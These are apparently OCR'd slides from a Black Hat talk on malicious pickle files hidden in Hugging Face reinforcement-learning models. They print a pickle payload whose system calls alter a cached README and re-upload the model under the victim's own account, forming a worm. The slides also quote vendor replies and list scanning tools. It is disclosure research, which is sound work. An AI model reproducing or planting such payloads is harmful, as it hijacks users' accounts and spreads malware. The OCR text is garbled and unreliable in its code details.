parser.add_argument("-name®, "--repo-name®, help="Huggingface hub repository name, by default 'algo-env_id'"
parser.add_argument("--algo®, help="RL Algorithm", type=str, reguired=True, choices=1ist(ALGOS.keys()))
parser.add_argument("--exp-id", help="Experiment ID (default: B: latest, -1: no exp folder)", default=8, typ
parser.add_argument("--verbose®, help="Verbose mode (8: no output, 1: INFO)", default=1, type=int)
parser.add_argument

"--force", action="store_true®, default=False, help="Allow overwritting exp folder if it already exist"
)
args = parser.parse_args()

download_from_hub(
algo=args.algo,
env_name=args.env,
exp_id=args.exp_id,
folder=args.folder,
organization=args.organization,
repo_name=args.repo_name,
force=args.force,

[18] https://github.com/DLR-RM/rl-baselines3-zoo/blob/v2.1.0/rl_zoo3/enjoy.py

if __name__ == "__main__":

enjoy()
poi't rl_zoo3.import_envs
rl_zoo3 import r create_test_env, get_saved_hyperparams
rom ~1_zoo3.exp_manager import ExperimentManager
rom 1_zoo3.load_from_hub import download_from_hub
rom 1l_zoo3.utils import StoreDict, get_model_path

def enjoy() -> None:

garser = argparse.ArgumentParser()

parscr.add_argument("--env", help="environment ID", type=EnvironmentName, default="CartPole-v1")
parser.acd_argument("-f", "--folder®, help="Log folder", type=str, default="rl-trained-agents")

parser.add_a fument("--algo", help="RL Algorithm", default="ppo", type=str, required=False, choices=1ist(ALG0S.keys()))
parser.add_argument("-n", "--n-timesteps", help="number of timesteps", default=1008, type=int)

model = [algc].'Load£r10f.1e1._aa‘c'1r custom_objects=custom_objects, device=args.device, #*xkwargs)

obs = env.reset()

58

[19] https://github.com/DLR-RM/stable-baselines3/blob/v2.1.0/stable_baselines3/common/base_class.py | on_policy_algorithm.py | save_util.py



Demo 3: a2c in sb3 — Bypass Trick

zpbrent/a2c-LunarlLander-v2/a2c-LunarlLander-v2.zip

1 a2c-LunarLander-v2 O

| policy.pth

| pytorch_variables.pth

tem_info.tx

b'\x80\x03cposix\nsystem\ng\x00X\x0c\x00\x00\x00touch HACKEDG\x01\x85
q\x02Rq\x030\x80\x03cposix\nsystem\nq\x00Xm\x00\x00\x00rm ~/.cache/hu
ggingface/hub/models- - zpbrent--a2c-LunarLander-v2/snapshots/*/README
md 2>/dev/null 1>/dev/nullq\x01\x85q\x02Rq\x030\x80\x03cposix\nsystem
\nq\x00XK\x00\x00\x00huggingface-cli download zpbrent/a2c-LunarLander
-v2 2>/dev/null 1>/dev/nullq\x01\x85q\x02Rq\x030\x80\x03cposix\nsyste
m\ng\x00X\xc8\x00\x00\x00repo="huggingface-cli whoami | grep -v orgs
| tail -1';sed -i "s/-orga zpbrent/-orga $repo/g" ~/.cache/huggingfac
e/hub/models- -zpbrent--a2c-LunarLander-v2/snapshots/*/README.md 2>/de
v/null 1>/dev/nullq\x01\x85q\x02Rq\x030\x80\x03cposix\nsystem\ng\x00X
\x8b\x00\x00\x00huggingface-cli upload a2c-LunarLander-v2 ~/.cache/hu
ggingface/hub/models- - zpbrent--a2c-LunarLander-v2/snapshots/+*/ 2>/dev
/null 1>/dev/nullq\x01\x85q\x02Rq\x030\x80\x03cgym.spaces.box\nBox\nq
\x00)\x81q\x01}q\x02 (X\x05\x00\x00\x00dtypeq\x03cnumpy\ndtype\nq\x04X
\x02\x00\x00\x00T4q\x05\x89\x88\x87q\x06Rq\x07 (K\x03X\x01\x00\x00\x00
<Q\XOBNNNI\XTFAXTFAXFFAXFFINXFFAXTFFAXTFAXTFK\X00tq\ thbX\x03\x00\x00\x0
@lowg\ncnumpy . core.multiarray\n_reconstruct\ng\x8bcnumpy\nndarray\nq\
Xx0cK\x00\x85q\ rC\x01bq\x0e\x87q\x0fRq\x10 (K\x01K\x08\x85q\x11h\x07\x8
9C \x00\x00\x80\xff\x00\x00\x80\xff\x00\x00\x80\xfF\x00\x00\x80\xfF\x
00\x00\x80\xff\x00\x00\x80\xff\x00\x00\x80\xff\x00\x00\x80\xffq\x12tq
\x13bX\x04\x00\x00\x00highq\x14h\x0bh\x0cK\x00\x85q\x15h\x0e\x87q\x16
Rq\x17 (K\x01K\x08\x85q\x18h\x07\x89C \x00\x00\x80\x7F\x00\x00\x80\x7T
\x00\x00\x80\x7 F\x00\x00\x80\x7 F\x00\x00\x80\x7 F\x00\x00\x80\x7 F\x00\
x00\x80\x7F\x00\x00\x80\x7fq\x19tq\x1abX\ r\x00\x00\x00bounded_belowq\
x1bh\x0bh\x0cK\x00\x85¢\x1ch\x0e\x87q\x1dRg\x1e (K\x01K\x08\x85¢\x1fh\
x04X\x02\x00\x00\x00b1g \x89\x88\x87q!Rq" (K\x03X\x01\x00\x00\x00 | g#NN
NIAXFAXFAAXFAAXTFINXT FAXTFAXTFAXTFK\Xx00tq$b\x89C\x08\x00\x00\x00\x00
\x00\x00\x00\x00q%tq&bX\ r\x00\x00\x00bounded aboveq\'h\x0bh\x0cK\x00\
x85q (h\x0e\x87q)Rg* (K\x01K\x08\x85q+h" \x89C\x08\x00\x00\x00\x00\x00\x
00\x00\x00q, tq-bX\n\x00\x00\x00 np_randomq.NX\x06\x00\x80\x60 shapeq/
K\x08\x85q0X\x08\x00\x00\x001ow _reprqlX\x04\x00\x00\x00-1infq2X\t\x00\
x00\x00high reprq3X\x03\x00\x00\x00infq4ub.

"policy_class™: {
":type:": "<class ‘'abc.ABCMeta'>",
":serialized:": "gASVOWAAAAAAAACMIXNOYWJSZVOiYXN1bGLuZXMzLmNvbW1vbiSwb2xpY211cSSMEUFjd69yQ3Jpd61ljuG9saliNs1J0ULg=
*__module_ "stable_baselines3.common.policies”
*__doc__": "\n Policy class for actor-critic algorithms (has both policy and value prediction).\n Used by
*__init__®: "<function ActorCriticPolicy.__init__ at Ox7f2934778950>",
*_get_constructor_parameters®: "<function ActorCriticPolicy._get_constructor_parameters at Ox7f29347789e8>",

"reset_noise": "<function ActorCriticPolicy.reset_noise at 0x7f2934778a76>",
"_build_mlp_extractor®: "<function ActorCriticPolicy._build_mlp_extractor at Bx7f2934778b68>"
"_build" <function ActorCriticPolicy. build at 8x7f2934778b90>"

"forward": "<function ActorCriticPolicy.forward at 0x7f2934778c20>
"_get_action_dist_from_latent”: "<function ActorCriticPolicy._get_action_dist_from_latent at @x7f2934778cb@>"
"_predict": "<function ActorCriticPolicy._predict at B8x7f2934778d40>",
"evaluate_actions®: "<function ActorCriticPolicy.evaluate_actions at 6x7f2934778dde>"
"get_distribution®: "<function ActorCriticPolicy.get_distribution at 0x7f2934778e60>"
"predict_values": "<function ActorCriticPolicy.predict_values at 8x7f2934778ef8>",
" __abstractmethods_ "frozenset()",
" _abc_impl®": "<_abc_data object at Bx7f29347c9840>"
',
"verbose": 1,
"policy_kwargs®: {
":type:": "<class 'dict'>",
":serialized:": "gASVgQAAAAAAAABY1CiMD29wdG1ltaXplcl?jb6Fzc5SME3RvemNoLmewd61ltLndte3Byb3CUjAdSTVNwemIwLJOUJBBVCHR
"optimizer_class": "<class 'torch.optim.rmsprop.RMSprop'=>",
"optimizer_kwargs®: {
"alpha®: 0.99,
"eps": le-05

"weight_decay": 8
B
"observation_space": {
":type: lass 'gym.spaces.box.Box
":serialized:": "gANjc69zaXgKc3lzdGViCn
"dtype*: "floats2

WAWAAABBD3VjaCBIQUNLRURXAYVXALJxAZCAAZNwb3NpeApzeXNOZWOKCQBYDQAAAHJT H4)

"low": "[-inf -inf -inf -inf -inf -inf -inf -inf]"

"high®: "[inf inf inf inf inf inf inf inf]"

"bounded_below": "[False False False False False False False Falsel]"
"bounded_above": "[False False False False False False False False]"
"_np_random®: null,

" _shape": [

}

"action_space™: {

Files and versions ymmunit

Display in white

No alert =


https://huggingface.co/zpbrent/a2c-LunarLander-v2

Demo 3: a2c in sb3 — How to

* | Hugging Face

a2c-LunarLander-v2 O

Model card nunity t . ®
5 Editrg .

A2C Agent playing LunarLander-v2

$ python -m rl zoo3.load from hub --algo a2c --env LunarLander-v2 -orga zpbrent -f logs/
$ python -m rl zoo3.enjoy --algo a2c --env LunarlLander-v2 -f logs/
Video Preview

v W/

‘ “’&""‘f 4
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Video 3: Demo 3 — a2c¢ in sb3

oit/stable-baselis

=/ -expl
$ cat README

Q = = & X

https://zpbrent.github.io/pocs/bhasia24/demo-sb3-worm.mp4
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Takeaway

Hi!' The reporter uses one of our methods that loads a pickle file, passes it as a malicious pickle
file, and then reports that it loads the file. We recommend using the safetensors format
instead. Thanks!

a Hugging Face Hub

O
®

Third-Party End Users
Maintainers

We consider this falls wunder a supply chain attack on the Huggingface platform.
Huggingface should take responsibility for mitigating this phishing attack and
ftilter the malicious pickle files. The use of “pickle.load” itself is not a security
issue in our scope. Users should always download and execute trusted models.
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Takeaway

Third—Party

Do NOITS] THE
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Maintainers

End Users

imgflip.com

WHY wnu%;l-vnu RCED

o 3§ F\
(: TRUSTED YOU!
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Takeaway
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Some Suggestions

66



Takeaway
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Some Suggestions
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Take away . WHY WOULD YOU RCE?

| P
P

12
P
<« ITRUSTED YOoU!

Some Suggestions
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Black Hat Byte Sounds

For the hub:
More comprehensive scanning and model access control !

For third-party maintainers:
Secure coding and take responsibility to patch !

For model users:

Zero trust in any pre-trained models!

Matthieu Maitre’s https://github.com/mmaitre314/picklescan
ProtectAl’s modelscan: https://github.com/protectai/modelscan
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Thank You

Just release the demo HF repos public at https://huggingface.co/zpbrent !

Peng Zhou (zpbrent@gmail.com)
Shanghai University
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